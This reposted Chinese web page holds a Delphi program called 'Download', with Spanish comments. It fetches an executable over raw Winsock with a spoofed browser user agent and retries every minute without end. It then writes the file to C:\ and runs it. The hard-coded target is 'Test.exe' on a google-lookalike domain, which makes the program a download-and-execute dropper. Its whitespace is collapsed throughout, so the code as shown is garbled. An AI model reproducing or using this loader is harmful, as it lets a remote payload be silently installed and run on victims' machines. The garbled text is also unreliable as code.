本文整理自网络,侵删。
program Download;
usesWindows, Winsock, ShellApi;
function GetIpFromDns(HostName: string): string;typetAddr = array[0..100] of PInAddr;pAddr = ^tAddr;varI: Integer;WSA: TWSAData;PHE: PHostEnt;P: pAddr;beginResult := hostname;WSAStartUp($101, WSA);tryPHE := GetHostByName(pChar(HostName));if (PHE <> nil) thenbeginP := pAddr(PHE^.h_addr_list);I := 0;while (P^[i] <> nil) dobeginResult := (inet_nToa(P^[i]^));Inc(I);end;end;exceptend;WSACleanUp;end;
procedure GetFile(CompleteURL, SaveToDirectory: string; Puerto: Integer = 80);varWSA: TWSAData;DownloaderSocket: TSocket;DownloaderAddr: TSockAddrIn;SendBuffer: string;SentBytes: Integer;ReceiveBuffer: array[0..4096] of Char; //4Kbs buffer.ReceivedBytes: Integer;WrittenBytes: Dword;HeaderPos: integer;Header: string;GotHeader: Boolean;DownloadedFile: THandle;DNS, RemoteFilePath, FileName: string;i: integer;begin//Inicializar variablesSentBytes := 0;GotHeader := False;//Sacamos todos las variables de la URL://EJEMPLO: http://www.concienciasinfronteras.com/IMAGEN/abuela.jpgDNS := Copy(CompleteURL, Pos('http://', CompleteURL) + 7, Length(CompleteURL));//DNS = www.concienciasinfronteras.com/IMAGEN/abuela.jpgRemoteFilePath := Copy(DNS, Pos('/', DNS), Length(DNS));//RemoteFilePath = /IMAGEN/abuela.jpgDNS := Copy(DNS, 1, Pos('/', DNS) - 1);//DNS = www.concienciasinfronteras.comi := Length(RemoteFilePath);while (RemoteFilePath[i] <> '/') dobeginFileName := RemoteFilePath[i] + FileName;Dec(i);end;//FileName = abuela.jpg//Inicializar Winsock 1.01WSAStartup($101, WSA);DownloaderSocket := Socket(AF_INET, SOCK_STREAM, 0);DownloaderAddr.sin_family := AF_INET;if (Puerto < 1) or (Puerto > 65535) then Puerto := 80;DownloaderAddr.sin_port := htons(Puerto);DownloaderAddr.sin_addr.S_addr := inet_addr(PChar(GetIPfromDNS(PChar(DNS))));repeatif Connect(DownloaderSocket, DownloaderAddr, sizeof(DownloaderAddr)) = 0 thenbegin//Enviamos la cabecera de petición de archivoSendBuffer := 'GET ' + RemoteFilePath + ' HTTP/1.1' + #13#10 +'Accept: */*' + #13#10 +'Accept-Language: en-us;q=0.5' + #13#10 +'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)' + #13#10 +'Host: ' + DNS + #13#10 +'Connection: close' + #13#10#13#10;//Repetir hasta que se haya enviado la totalidad de toda la cabecerarepeatSentBytes := Send(DownloaderSocket, SendBuffer[1 + SentBytes], Length(SendBuffer) - SentBytes, 0);until SentBytes >= Length(SendBuffer);//Ahora recibir el archivo...!DownloadedFile := CreateFile(PChar(SaveToDirectory + FileName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);SetFilePointer(DownloadedFile, 0, nil, FILE_END);repeat //Empieza el Loop de recepciónZeroMemory(@ReceiveBuffer, Sizeof(ReceiveBuffer));ReceivedBytes := Recv(DownloaderSocket, ReceiveBuffer, Sizeof(ReceiveBuffer), 0);if ReceivedBytes > 0 then //Si = 0 entonces significa que el sevidor HTTP se desconectóbegincase GotHeader ofFalse:begin//La cabecera HTTP está separada por un Doble-Retorno de carroHeaderPos := Pos(#13#10#13#10, string(ReceiveBuffer));if HeaderPos > 0 thenbegin //Escribe al archivo únicamente lo que hay DESPUÉS del a cabeceraWriteFile(DownloadedFile, ReceiveBuffer[HeaderPos + 3], ReceivedBytes - (HeaderPos + 3), WrittenBytes, nil);SetLength(Header, HeaderPos);Move(ReceiveBuffer[0], Header[1], HeaderPos + 3); //En la variable Header queda la cabecera, por si en un futuro se necesitaGotHeader := True;end;end;else //Escribe al archivo todo lo que recibíWriteFile(DownloadedFile, ReceiveBuffer, ReceivedBytes, WrittenBytes, nil);end;end;until (ReceivedBytes <= 0); //Se termina el loop de "recepción" cuando el servidor se desconectaCloseHandle(DownloadedFile);CloseSocket(DownloaderSocket);Break; //El archivo está bajado, así que salirse del loop de reintento de conexiónend;Sleep(60000); //Intenta conectarse otra vez después de un minutountil False; //Intenta infintas veces hasta que el archivo se haya bajadoWSACleanup();//EjecutarloShellExecute(GetForegroundWindow, 'open', PChar(SaveToDirectory + FileName), '', '', SW_SHOWNORMAL);end;
beginGetFile('http://www.google.008.net/Test.exe', 'C:\');end.
相关阅读 >>
更多相关阅读请进入《Delphi》频道 >>